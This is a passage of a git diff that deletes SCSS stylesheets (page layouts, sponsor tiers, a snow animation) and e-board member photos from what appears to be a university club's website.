gap: 12px; -} - -.social-link { - width: 40px; - height: 40px; - padding: 10px; - border: 1px solid var(--border-color); - display: flex; - justify-content: center; - align-items: center; - color: var(--text-color); - opacity: 0.7; - text-decoration: none; - transition: 0.1s ease-in-out; - - svg { - width: 20px; - height: 20px; - } - - &:hover { - opacity: 1; - } -} - -@media (max-width: 768px) { - .footer-wrapper { - flex-direction: column; - } - .footer-col-wrapper { - margin: 0.25rem 0; - } -} - -/** Content **/ -.heading-title { - font-style: normal; - font-weight: 800; - text-align: center; - color: var(--text-color); - margin-top: 60px; - font-size: 4rem; - line-height: 4rem; -} - -.heading-description { - font-style: normal; - font-weight: 600; - text-align: center; - color: var(--light-text-color); - margin-top: 24px; - font-size: 1.3rem; - line-height: 2rem; -} - -// Dark Light Toggle Switch -.toggle { - -webkit-appearance: none; - -moz-appearance: none; - appearance: none; - width: 42px; - height: 22px; - display: inline-block; - position: relative; - border-radius: 50px; - overflow: hidden; - outline: none; - border: none; - margin-top:1rem; - cursor: pointer; - background-color: #707070; - transition: background-color ease 0.3s; -} - -.toggle:before { - content: ""; - display: block; - position: absolute; - z-index: 2; - width: 18px; - height: 18px; - background: #fff; - left: 2px; - top: 2px; - border-radius: 50%; - font: 10px/18px Helvetica; - text-transform: uppercase; - font-weight: bold; - text-indent: -22px; - word-spacing: 37px; - color: #fff; - text-shadow: -1px -1px rgba(0,0,0,0.15); - white-space: nowrap; - box-shadow: 0 1px 2px rgba(0,0,0,0.2); - transition: all cubic-bezier(0.3, 1.5, 0.7, 1) 0.3s; -} - -.toggle:checked { - background-color: #202020; -} - -.toggle:checked:before { - left: 22px; -} \ No newline at end of file diff --git a/_sass/pages/about.scss b/_sass/pages/about.scss deleted file mode 100644 index dcb02dae..00000000 --- a/_sass/pages/about.scss +++ /dev/null @@ -1,300 +0,0 @@ -.about-container { - width: 100%; - max-width: 120rem; - margin: auto; -} - -.about-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.about-description_container { - width: 100%; - max-width: 70%; - - @media (max-width: 1028px) { - max-width: 90%; - } -} - -.about-groups-container { - width: 80%; - display: flex; - align-items: center; - justify-content: space-evenly; - flex-wrap: wrap; -} - -.group_container { - margin: 1rem; - min-width: 40%; - flex: 1; - background: var(--card-color); - border-radius: 1rem; - padding: 1rem; - box-sizing: border-box; - display: flex; - flex-direction: column; - align-items: flex-start; - justify-content: space-evenly; - - .group_title { - display: flex; - align-self: flex-start; - justify-content: space-between; - width: 100%; - margin: 0; - - .group_name { - font-size: 1.5rem; - font-weight: 500; - margin: 0; - } - - .group_meeting { - color: #AAA; - margin: 0; - } - } - - hr { - width: 4rem; - margin: 0.5rem 0; - border-top: 2px solid white; - } - - .group_description { - font-size: 0.8rem; - } -} - -.about-section-heading { - font-style: normal; - font-weight: 800; - text-align: center; - color: var(--text-color); - margin-top: 40px; - font-size: 2.5rem; - line-height: 2.5rem; -} - -.about-section-description { - font-style: normal; - font-weight: 600; - text-align: center; - color: var(--light-text-color); - margin-top: 18px; - font-size: 1.3rem; - line-height: 2rem; -} - -.members-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; -} - -.members-container { - width: 100%; - max-width: 100%; - display: flex; - justify-content: center; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 46px; - margin-bottom: 69px; - } -} - -.members-grid { - width: 100%; - max-width: 70%; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 32px; - justify-content: center; - - @media (max-width: 1024px) { - max-width: 90%; - } -} - -.member_container { - background: var(--card-color); - position: relative; - width: 250px; - height: 350px; - border-radius: 16px; - display: grid; - grid-template-rows: 1fr 120px; - box-shadow: 0px 4px 16px rgba(0, 0, 0, 0.2); - overflow: hidden; -} - -.member_avatar-container { - position: relative; - border-radius: 16px 16px 0 0; - overflow: hidden; - width: 100%; - height: 100%; - vertical-align: middle; -} - -.member_avatar { - position: absolute; - top: 50%; - left: 50%; - transform: translateX(-50%) translateY(-50%); - width: 100%; - height: 100%; - object-fit: cover; - box-shadow: 0px 4px 64px rgba(0, 0, 0, 0.2); - // border-radius: 16px 16px 0 0; -} - -.member_info { - width: 100%; - height: 100%; - display: flex; - flex-direction: column; - justify-content: center; - align-items: center; - padding: 6px 20px; - overflow: hidden; -} - -.member_title { - font-size: 1.15rem; - font-weight: 700; - color: var(--text-color); - margin-bottom: 4px; - - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; - flex-shrink: 0; -} - -.member_details { - font-size: 1rem; - font-weight: 400; - overflow: hidden; - white-space: nowrap; - flex-grow: 1; - text-align: center; -} - -.member_socials { - width: 100%; - margin-top: 8px; - display: flex; - justify-content: center; - gap: 14px; -} - -.member_social-link { - height: 20px; - width: 20px; - color: var(--light-text-color); - transition: 0.1s ease-in-out; -} - -.member_social-link:hover { - opacity: 1; - color: var(--link-color); -} - -.about-socials-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.about-social-container { - width: 100%; - max-width: 60%; - padding: 1.5rem 0; - display: flex; - flex-direction: row; - gap: 32px; - justify-content: space-evenly; - align-items: center; - - @media (max-width: 1256px) { - max-width: 100%; - padding: 1rem; - } - - @media (max-width: 900px) { - flex-direction: column; - } -} - -.about-past-eboard-section { - text-align: center; - - .about-past-eboard-container .about-past-eboard { - .past-eboard-year { - font-size: 1.75rem; - color: #e69138; - margin-top: 1rem; - } - - .past-eboard-orgname { - color: #e69138; - margin: 0.5rem 0; - } - - .past-eboard-orgs-container { - display: flex; - align-items: flex-start; - justify-content: space-evenly; - flex-wrap: wrap; - width: 60%; - margin: 1rem auto; - - .past-eboard-org { - margin: 0 0.5rem; - } - } - } -} - -@media only screen and (max-width: 768px) { - .about-groups-container { - width: 100% !important; - - .group_container { - min-width: 100% !important; - - .group_title { - flex-direction: column; - } - } - } -} diff --git a/_sass/pages/alumni.scss b/_sass/pages/alumni.scss deleted file mode 100644 index 0dc16fb9..00000000 --- a/_sass/pages/alumni.scss +++ /dev/null @@ -1,24 +0,0 @@ -.alumni-section { - text-align: center; - - .alumni-container .graduation-group { - .graduation-year { - font-size: 2.5rem; - color: #e69138; - margin-top: 1rem; - } - - .alumni-group { - display: flex; - align-items: flex-start; - justify-content: space-evenly; - flex-wrap: wrap; - width: 50%; - margin: 1rem auto; - - .alumni-title { - width: 30%; - } - } - } -} diff --git a/_sass/pages/education.scss b/_sass/pages/education.scss deleted file mode 100644 index 2d0fdb34..00000000 --- a/_sass/pages/education.scss +++ /dev/null @@ -1,57 +0,0 @@ -.education-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.education-set-container { - width: 100%; - display: flex; - flex-direction: column; - gap: 32px; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 38px; - margin-bottom: 60px; - } -} - -.education-set { - width: 100%; - display: flex; - flex-direction: column; - align-items: center; - text-align: center; -} - -.education-set_title { - color: var(--text-color); - font-size: 1.5rem; - font-weight: 700; -} - -.education-set_description { - color: var(--text-color); - opacity: 0.7; - font-size: 1rem; - margin: 0.25rem 0 1rem; -} - -.education-set_lesson-container { - width: 100%; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 16px 32px; - justify-content: center; -} diff --git a/_sass/pages/events.scss b/_sass/pages/events.scss deleted file mode 100644 index d93dab42..00000000 --- a/_sass/pages/events.scss +++ /dev/null @@ -1,127 +0,0 @@ -.events-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.events-container { - width: 100%; - max-width: 100%; - display: flex; - justify-content: center; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 38px; - margin-bottom: 60px; - } -} - -.events-grid { - width: 100%; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 32px; - justify-content: center; -} - -.event_container { - background: var(--card-color); - position: relative; - width: 450px; - height: 350px; - border-radius: 16px; - display: grid; - grid-template-rows: 1fr 80px; - box-shadow: 0px 4px 16px rgba(0, 0, 0, 0.2); - overflow: hidden; -} - -.event_image-container { - position: relative; - border-radius: 16px 16px 0 0; - overflow: hidden; - width: 100%; - height: 100%; - vertical-align: middle; -} - -.event_image { - width: 100%; - height: 100%; - object-fit: cover; - position: absolute; - top: 50%; - left: 50%; - transform: translateX(-50%) translateY(-50%); - box-shadow: 0px 4px 64px rgba(0, 0, 0, 0.2); - border-radius: 16px 16px 0 0; - transition: all 0.3s ease; -} - -.event_info { - width: 100%; - height: 100%; - display: grid; - grid-template-columns: 1fr 3rem; - align-items: center; - padding: 6px 20px; -} - -.event_info-container { - width: 100%; - max-width: 412px; - overflow: hidden; -} - -.event_title { - font-size: 1.15rem; - font-weight: 700; - color: var(--text-color); - margin-bottom: 4px; - - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.event_details { - display: flex; - color: var(--light-text-color); -} - -.event_date { - color: var(--link-color); - opacity: 0.9; - margin-right: 10px; -} - -.event_link-container { - width: 100%; - height: 100%; - display: flex; - justify-content: center; - align-items: center; -} - -.event_link { - cursor: pointer; - height: 1.5rem; - width: 1.5rem; - color: var(--light-text-color); - transition: all 0.1s ease-in-out; - - &:hover { - color: var(--link-color); - } -} diff --git a/_sass/pages/gallery.scss b/_sass/pages/gallery.scss deleted file mode 100644 index 183f2109..00000000 --- a/_sass/pages/gallery.scss +++ /dev/null @@ -1,126 +0,0 @@ -.gallery-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.gallery-container { - width: 100%; - max-width: 100%; - display: flex; - justify-content: center; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 46px; - margin-bottom: 69px; - } -} - -.gallery-grid { - width: 100%; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 32px; - justify-content: center; -} - -.gallery-photo { - position: relative; - width: 650px; - height: 450px; - border-radius: 8px; - border: 1px solid #e69138; - box-shadow: 0px 4px 16px rgba(0, 0, 0, 0.2); - cursor: pointer; - overflow: hidden; - - @media (max-width: 576px) { - height: 350px; - } -} - -.gallery-photo_image { - position: absolute; - top: 50%; - left: 50%; - transform: translateX(-50%) translateY(-50%); - max-width: auto; - max-height: 100%; - transition: all 0.3s ease; -} - -.gallery-photo_caption-container { - position: absolute; - background-color: var(--header-color-mobile); - color: var(--light-text-color); - width: 100%; - height: 20%; - bottom: 0; - padding: 1rem; - display: flex; - flex-direction: column; - - transition: all 0.3s ease; -} - -.gallery-photo_caption-title { - font-size: 1.25rem; - font-weight: 700; - color: var(--text-color); - opacity: 0.85; - transition: all 0.3s ease; -} - -.gallery-photo_caption-description { - font-size: 1rem; - line-height: 1.25rem; - color: var(--text-color); - opacity: 0.6; - - display: -webkit-box; - -webkit-line-clamp: 2; - -webkit-box-orient: vertical; - overflow: hidden; - text-overflow: ellipsis; - - transition: all 0.3s ease; - - @media (max-width: 576px) { - line-height: 1rem; - -webkit-line-clamp: 1; - } -} - -.gallery-photo:hover { - .gallery-photo_image { - opacity: 0.7; - } - - .gallery-photo_caption-container { - height: 30%; - } - - .gallery-photo_caption-title { - opacity: 1; - } - - .gallery-photo_caption-description { - opacity: 0.75; - -webkit-line-clamp: 4; - - @media (max-width: 576px) { - -webkit-line-clamp: 3; - } - } -} diff --git a/_sass/pages/groups.scss b/_sass/pages/groups.scss deleted file mode 100644 index 2770e65c..00000000 --- a/_sass/pages/groups.scss +++ /dev/null @@ -1,19 +0,0 @@ -.group-url-button { - text-align: center; - width: 10rem; - margin-top:1rem; - padding: 0.75rem 0; - background-color: var(--card-color); - border: 1px solid var(--border-color); - border-radius: 6px; - color: var(--text-color); - opacity: 0.85; - text-decoration: none; - transition: all 0.15s ease-in-out; - font-size: 1rem; - line-height: 1.25rem; - - &:hover { - opacity: 1; - } - } \ No newline at end of file diff --git a/_sass/pages/home.scss b/_sass/pages/home.scss deleted file mode 100644 index dec0e5a3..00000000 --- a/_sass/pages/home.scss +++ /dev/null @@ -1,441 +0,0 @@ -// Intro Section -.intro-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.home-scroll-prompt { - width: 100%; - height: 36px; - display: flex; - justify-content: center; - align-items: center; - margin-top: 32px; -} - -.home-scroll_border { - stroke: var(--text-color); -} - -.home-scroll_center { - fill: var(--text-color); -} - -.slideshow { - background: linear-gradient(126.6deg, rgba(255, 255, 255, 0.12) 28.69%, rgba(255, 255, 255, 0) 100%); - backdrop-filter: blur(140px); - border-radius: 16px; - display: flex; - align-items: center; - justify-content: center; - width: 100%; - max-width: 1100px; - padding: 2%; - aspect-ratio: 1.67; - img { - border-radius: 8px !important; - box-shadow: 0px 4px 64px rgba(0, 0, 0, 0.2) !important; - } - margin-top: 40px; - margin-bottom: 40px; - @media (min-width: 576px) { - margin-top: 62px; - margin-bottom: 120px; - } -} - -.slideshow_wrapper { - position: relative; - border-radius: 8px; - overflow: hidden; - width: 100%; - height: 100%; - vertical-align: middle; -} - -.slideshow_image { - width: 100%; - height: 100%; - object-fit: cover; - position: absolute; - top: 50%; - left: 50%; - transform: translateX(-50%) translateY(-50%); - box-shadow: 0px 4px 64px rgba(0, 0, 0, 0.2); -} - -// .intro-bg { -// position: absolute; -// top: 0px; -// left: 0px; -// right: 0px; -// height: 100%; -// z-index: -1; -// } - -// .intro-bg_wrapper { -// position: absolute; -// top: 0px; -// left: 0px; -// right: 0px; -// height: 100%; -// z-index: -1; -// } - -// .intro-bg_image { -// position: absolute; -// inset: 0px; -// box-sizing: border-box; -// padding: 0px; -// border: none; -// margin: auto; -// display: block; -// width: 0px; -// height: 0px; -// min-width: 100%; -// max-width: 100%; -// min-height: 100%; -// max-height: 100%; -// opacity: 0.3; -// filter: none; -// content: var(--background-image); -// background-size: cover; -// background-image: none; -// } - -/** About Section **/ -.home_about-section { - width: 100%; - max-width: 100%; -} - -.home_about-sep { - height: 0.5rem; -} - -.home_about-background { - background-image: linear-gradient(to top right, var(--gradient-2), var(--gradient-3)); - padding: 4rem 0; -} - -.home_about-container { - max-width: 80rem; - padding: 0 1.25rem; - margin: 0 auto; - - @media (min-width: 640px) { - padding: 0px 5rem; - } -} - -.home_about-content { - margin: 0 auto; - - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - text-align: center; -} - -.home_about-title { - font-weight: 700; - color: var(--text-color); - margin-bottom: 1.5rem; - font-size: 2.25rem; - line-height: 2.5rem; -} - -.home_about-description { - font-weight: 400; - color: var(--light-text-color); - font-size: 1.25rem; - line-height: 1.75rem; -} - -.home_about-button-container { - display: flex; - flex-direction: row; - gap: 1rem; - margin-top: 1.75rem; -} - -.home_about-button { - text-align: center; - width: 10rem; - padding: 0.75rem 0; - background-color: var(--card-color); - border: 1px solid var(--border-color); - border-radius: 6px; - color: var(--text-color); - opacity: 0.85; - text-decoration: none; - transition: all 0.15s ease-in-out; - font-size: 1rem; - line-height: 1.25rem; - - &:hover { - opacity: 1; - } -} - -/** Events Section **/ -.home_events-sponsors-section { - background: linear-gradient(165deg, var(--background-color) 50%, #1b171b62 0); - padding: 4rem 0; -} - -.home_events-container { - max-width: 80rem; - margin: 0 auto 2rem; - padding: 0 1.25rem; - - @media (min-width: 640px) { - padding: 0px 5rem; - } -} - -.home_events-title { - color: var(--text-color); - opacity: 0.75; - font-size: 1.25rem; - line-height: 1.75rem; -} - -.home_events-grid { - width: 100%; - margin-top: 1.5rem; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 20px; - justify-content: center; -} - -.home_event { - background-color: var(--card-color); - width: 100%; - cursor: pointer; - border-radius: 8px; - border: 1px solid transparent; - padding: 1rem; - opacity: 1; - text-decoration: none; - display: grid; - grid-template-columns: 1fr 40px; - box-shadow: 0px 4px 16px rgba(0, 0, 0, 0.2); - transition: all 0.1s ease; - - &:hover { - opacity: 1; - border: 1px solid var(--link-color); - background-color: var(--card-color-light); - } - - @media (min-width: 1178px) { - width: 49%; - } -} - -.home_event-title { - font-weight: 700; - color: var(--text-color); - margin-bottom: 0.5rem; - font-size: 1.25rem; - line-height: 1.5rem; -} - -.home_event-description { - display: flex; - font-weight: 400; - color: var(--text-color); - opacity: 0.7; - font-size: 1.05rem; - line-height: 1.3rem; -} - -.home_events-empty-message { - width: 100%; - padding: 5rem 0; - display: flex; - justify-content: center; - align-items: center; - text-align: center; - - font-size: 1.1rem; - opacity: 0.75; -} - -.home_events-grid { - width: 100%; - margin-top: 1.5rem; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 20px; - justify-content: center; -} - -.home_event-link-container { - width: 100%; - height: 100%; - display: flex; - justify-content: center; - align-items: center; -} - -.home_event-link-icon { - color: var(--text-color); - height: 1.5rem; - width: 1.5rem; -} - -/** Sponsors Section **/ -.home_sponsors-grid { - width: 100%; - margin-top: 1.5rem; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 36px; - justify-content: center; -} - -.home_sponsor { - width: 250px; - height: 300px; - display: grid; - grid-template-rows: 250px 50px; - color: var(--text-color); - text-decoration: none; -} - -.home_sponsor-image { - width: 250px; - height: 250px; - object-fit: contain; - padding: 1rem; - background: #fff; - border-radius: 4px; - border: 1px solid var(--border-color); -} - -.home_sponsor-details { - display: flex; - flex-direction: column; - justify-content: center; - align-items: center; - text-align: center; - font-size: 1.2rem; - font-weight: 700; -} - -/** Join Section **/ -.home_join-background { - padding: 1rem 0; -} - -.home_join-section { - width: 100%; - max-width: 100%; -} - -.home_join-title { - font-weight: 700; - color: var(--text-color); - font-size: 2.25rem; - line-height: 2.5rem; - - @media (max-width: 1024px) { - font-size: 1.75rem; - line-height: 2rem; - } -} - -.home_join-content { - max-width: 54rem; - margin: 0 auto; - - display: flex; - flex-direction: row; - justify-content: space-between; - align-items: center; - - @media (max-width: 764px) { - flex-direction: column; - gap: 16px; - } -} - -.type-animate { - overflow: hidden; - border-right: .15em solid #E69132; - white-space: nowrap; - max-width: max-content; - animation: - typing 3.5s steps(40, end), - blink-caret .75s step-end infinite; -} - -@keyframes typing { - from { width: 0 } - to { width: 100% } -} - -@keyframes blink-caret { - from, to { border-color: transparent } - 50% { border-color: #E69132; } -} - - -@function random_range($min, $max) { - $rand: random(); - $random_range: $min + floor($rand * (($max - $min) + 1)); - @return $random_range; -} - -.snow { - $total: 200; - position: absolute; - width: 10px; - height: 10px; - background: white; - border-radius: 50%; - - @for $i from 1 through $total { - $random-x: random(1000000) * 0.0001vw; - $random-offset: random_range(-100000, 100000) * 0.0001vw; - $random-x-end: $random-x + $random-offset; - $random-x-end-yoyo: $random-x + ($random-offset / 2); - $random-yoyo-time: random_range(30000, 80000) / 100000; - $random-yoyo-y: $random-yoyo-time * 100vh; - $random-scale: random(10000) * 0.0001; - $fall-duration: random_range(10, 30) * 1s; - $fall-delay: random(30) * -1s; - - &:nth-child(#{$i}) { - opacity: random(10000) * 0.0001; - transform: translate($random-x, -10px) scale($random-scale); - animation: fall-#{$i} $fall-duration $fall-delay linear infinite; - } - - @keyframes fall-#{$i} { - #{percentage($random-yoyo-time)} { - transform: translate($random-x-end, $random-yoyo-y) scale($random-scale); - } - - to { - transform: translate($random-x-end-yoyo, 100vh) scale($random-scale); - } - } - } -} diff --git a/_sass/pages/links.scss b/_sass/pages/links.scss deleted file mode 100644 index b69c0db9..00000000 --- a/_sass/pages/links.scss +++ /dev/null @@ -1,113 +0,0 @@ -.links-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.links-container { - width: 100%; - max-width: 100%; - display: flex; - justify-content: center; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 46px; - margin-bottom: 69px; - } -} - -.links-grid { - width: 100%; - display: flex; - flex-direction: column; - flex-flow: wrap; - gap: 32px; - justify-content: center; -} - -.link_container { - background-color: var(--card-color); - color: white; - text-decoration: none; - position: relative; - cursor: pointer; - width: 450px; - height: 100px; - border-radius: 16px; - border: 1px solid transparent; - display: grid; - grid-template-columns: 1fr 80px; - box-shadow: 0px 4px 16px rgba(0, 0, 0, 0.2); - overflow: hidden; - transition: all 0.1s ease-in-out; - - &:hover { - border: 1px solid var(--link-color); - background-color: var(--card-color-light); - } - - &:hover, - .link_icon { - opacity: 1; - color: var(--text-color); - } -} - -.link_info-container { - width: 100%; - height: 100%; - max-height: 100%; - display: grid; - grid-template-rows: auto auto; - padding: 16px 20px; - overflow: hidden; -} - -.link_title { - font-size: 1.25rem; - font-weight: 700; - color: var(--text-color); - - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.link_description { - width: 100%; - height: 100%; - color: var(--light-text-color); - padding-top: 4px; - - display: -webkit-box; - -webkit-line-clamp: 2; - -webkit-box-orient: vertical; - overflow: hidden; - text-overflow: ellipsis; -} - -.link_icon-container { - width: 100%; - height: 100%; - display: flex; - justify-content: center; - align-items: center; -} - -.link_icon { - cursor: pointer; - height: 1.5rem; - width: 1.5rem; - color: var(--light-text-color); - transition: all 0.1s ease-in-out; -} diff --git a/_sass/pages/sponsors.scss b/_sass/pages/sponsors.scss deleted file mode 100644 index 8918ad88..00000000 --- a/_sass/pages/sponsors.scss +++ /dev/null @@ -1,199 +0,0 @@ -.sponsors-section { - width: 100%; - max-width: 100%; - display: flex; - flex-direction: column; - align-items: center; - position: relative; - padding: 0px 32px; - - @media (min-width: 576px) { - padding: 0px 64px; - } -} - -.sponsor-tier { - width: 100%; -} - -.sponsors-container { - width: 100%; - max-width: 100%; - display: flex; - justify-content: center; - - margin-top: 30px; - margin-bottom: 48px; - @media (min-width: 576px) { - margin-top: 46px; - margin-bottom: 69px; - } -} - -.sponsors-grid { - max-width: 70rem; - display: flex; - flex-direction: row; - flex-flow: wrap; - gap: 32px; - justify-content: center; -} - -.sponsor-tier-container { - display: flex; - flex-flow: row wrap; - justify-content: space-around; -} - -.sponsor { - width: 300px; - display: flex; - flex-direction: column; - border: 1px solid var(--border-color); - border-radius: 4px; - background-color: rgba(0, 0, 0, 0.1); - grid-template-columns: 1fr 300px; - align-items: center; - padding: 1rem; - margin: 30px 15px; -} - -.sponsor-info { - width: 100%; - max-height: 100%; - padding-right: 5%; - text-align: center; - display: flex; - flex-direction: column; -} - -.sponsor-title { - font-size: 2rem; - margin-top:1.5rem; - line-height: 2rem; - font-weight: 700; - color: var(--text-color); - text-decoration: none; - min-height: 2.5em; - line-height: 1.2em; - display: flex; - justify-content: center; - flex-direction: column; -} - -.sponsor-description { - width: 100%; - font-size: 1rem; - line-height: 1.5rem; - color: var(--text-color); - opacity: 0.7; - margin: 1rem 0 1.5rem; - - display: -webkit-box; - -webkit-line-clamp: 12; - -webkit-box-orient: vertical; - overflow: hidden; - text-overflow: ellipsis; -} - -.sponsor-button { - text-align: center; - width: 8rem; - margin: auto; - padding: 0.5rem 0; - background-color: var(--card-color); - border: 1px solid var(--border-color); - border-radius: 6px; - color: var(--text-color); - opacity: 0.85; - text-decoration: none; - transition: all 0.15s ease-in-out; - font-size: 0.75rem; - line-height: 1rem; - - &:hover { - opacity: 1; - } -} - -.become-a-sponsor { - font-size: 1.25rem; - width: 16rem; - padding: 1rem; - color: #e69138; -} - -.sponsor-image-container { - width: 100%; - height: 100%; - display: flex; - justify-content: center; - align-items: center; - align-content: center; -} - -.sponsor-image-wrapper { - width: 200px; - height: 200px; - opacity: 1; - cursor: pointer; - border-radius: 8px; - transition: all 0.15s ease; - - &:hover { - opacity: 0.75; - } -} - -.sponsor-image { - background: #fff; - padding: 1rem; - width: 100%; - height: 100%; - object-fit: contain; - border: 1px solid var(--border-color); - border-radius: 8px; -} - -@media (max-width: 1024px) { - - .sponsor-description { - -webkit-line-clamp: 6; - margin: 0.25rem 0 0.5rem; - } - - .sponsor-image-wrapper { - height: 200px; - width: 200px; - } -} - -.sponsor-tier-title{ - font-size: 2.5rem; - text-align: center; - color: var(--text-color); -} - -.titanium { - color: #7A7772 -} - -.diamond { - color: #b9f2ff; -} - -.platinum { - color: #e5e4e2; -} - -.gold { - color: #ffd700; -} - -.silver { - color: #c0c0c0; -} - -.bronze { - color: #b08d57; -} \ No newline at end of file diff --git a/assets/css/style.scss b/assets/css/style.scss deleted file mode 100644 index b1e1c0fd..00000000 --- a/assets/css/style.scss +++ /dev/null @@ -1,4 +0,0 @@ ---- ---- - -@import "init"; diff --git a/assets/images/2021eboard/alison.jpeg b/assets/images/2021eboard/alison.jpeg deleted file mode 100644 index 8796e95e..00000000 Binary files a/assets/images/2021eboard/alison.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/brad.jpeg b/assets/images/2021eboard/brad.jpeg deleted file mode 100644 index 0357d8bc..00000000 Binary files a/assets/images/2021eboard/brad.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/brayden.jpeg b/assets/images/2021eboard/brayden.jpeg deleted file mode 100644 index acec4c0c..00000000 Binary files a/assets/images/2021eboard/brayden.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/enzo.jpeg b/assets/images/2021eboard/enzo.jpeg deleted file mode 100644 index e97a6587..00000000 Binary files a/assets/images/2021eboard/enzo.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/jason.jpeg b/assets/images/2021eboard/jason.jpeg deleted file mode 100644 index 44ac7af3..00000000 Binary files a/assets/images/2021eboard/jason.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/jazmin.jpeg b/assets/images/2021eboard/jazmin.jpeg deleted file mode 100644 index 6a000549..00000000 Binary files a/assets/images/2021eboard/jazmin.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/max.jpeg b/assets/images/2021eboard/max.jpeg deleted file mode 100644 index ee1bc65f..00000000 Binary files a/assets/images/2021eboard/max.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/olivia.jpeg b/assets/images/2021eboard/olivia.jpeg deleted file mode 100644 index 9f8d070b..00000000 Binary files a/assets/images/2021eboard/olivia.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/philo.jpeg b/assets/images/2021eboard/philo.jpeg deleted file mode 100644 index ba8a1345..00000000 Binary files a/assets/images/2021eboard/philo.jpeg and /dev/null differ diff --git a/assets/images/2021eboard/tenchi.jpeg b/assets/images/2021eboard/tenchi.jpeg deleted file mode 100644 index f0d5752b..00000000 Binary files a/assets/images/2021eboard/tenchi.jpeg and /dev/null differ diff --git a/assets/images/2022eboard/alex.jpg b/assets/images/2022eboard/alex.jpg deleted file mode 100644 index e7bd8df5..00000000 Binary files a/assets/images/2022eboard/alex.jpg and /dev/null differ diff --git a/assets/images/2022eboard/anthony.png b/assets/images/2022eboard/anthony.png deleted file mode 100644 index 73630af9..00000000 Binary files a/assets/images/2022eboard/anthony.png and /dev/null differ diff --git a/assets/images/2022eboard/bailey.jpeg b/assets/images/2022eboard/bailey.jpeg deleted file mode 100644 index 193b1202..00000000 Binary files a/assets/images/2022eboard/bailey.jpeg and /dev/null differ diff --git a/assets/images/2022eboard/eshan.JPG b/assets/images/2022eboard/eshan.JPG deleted file mode 100644 index b47f7313..00000000 Binary files a/assets/images/2022eboard/eshan.JPG and /dev/null differ diff --git a/assets/images/2022eboard/jacob.jpeg b/assets/images/2022eboard/jacob.jpeg deleted file mode 100644 index 7e930505..00000000 Binary files a/assets/images/2022eboard/jacob.jpeg and /dev/null differ diff --git a/assets/images/2022eboard/kenny.jpeg b/assets/images/2022eboard/kenny.jpeg deleted file mode 100644 index 592bd30a..00000000 Binary files a/assets/images/2022eboard/kenny.jpeg and /dev/null differ diff --git a/assets/images/2022eboard/malik.jpeg b/assets/images/2022eboard/malik.jpeg deleted file mode 100644 index a5b77d2b..00000000 Binary files a/assets/images/2022eboard/malik.jpeg and /dev/null differ diff --git a/assets/images/2022eboard/mav.png b/assets/images/2022eboard/mav.png deleted file mode 100644 index 6f51ff7f..00000000 Binary files a/assets/images/2022eboard/mav.png and /dev/null differ diff --git a/assets/images/2022eboard/mav1.png b/assets/images/2022eboard/mav1.png deleted file mode 100644 index 52d74178..00000000 Binary files a/assets/images/2022eboard/mav1.png and /dev/null differ diff --git a/assets/images/2022eboard/mav2.png b/assets/images/2022eboard/mav2.png deleted file mode 100644 index 15560c88..00000000 Binary files a/assets/images/2022eboard/mav2.png and /dev/null differ diff --git a/assets/images/2022eboard/sarah.JPG b/assets/images/2022eboard/sarah.JPG deleted file mode 100644 index 5963114c..00000000 Binary files a/assets/images/2022eboard/sarah.JPG and /dev/null differ diff --git a/assets/images/2022eboard/zachp.png b/assets/images/2022eboard/zachp.png deleted file mode 100644 index ef6250ac..00000000 Binary files a/assets/images/2022eboard/zachp.png and /dev/null differ diff --git a/assets/images/2023eboard/albies.png b/assets/images/2023eboard/albies.png deleted file mode 100644 index 0f364f7b..00000000 Binary files a/assets/images/2023eboard/albies.png and /dev/null differ diff --git a/assets/images/2023eboard/alexn.jpg b/assets/images/2023eboard/alexn.jpg deleted file mode 100644 index 8ddc461a..00000000 Binary files a/assets/images/2023eboard/alexn.jpg and /dev/null differ diff --git a/assets/images/2023eboard/anthonyi.png b/assets/images/2023eboard/anthonyi.png deleted file mode 100644 index 73630af9..00000000 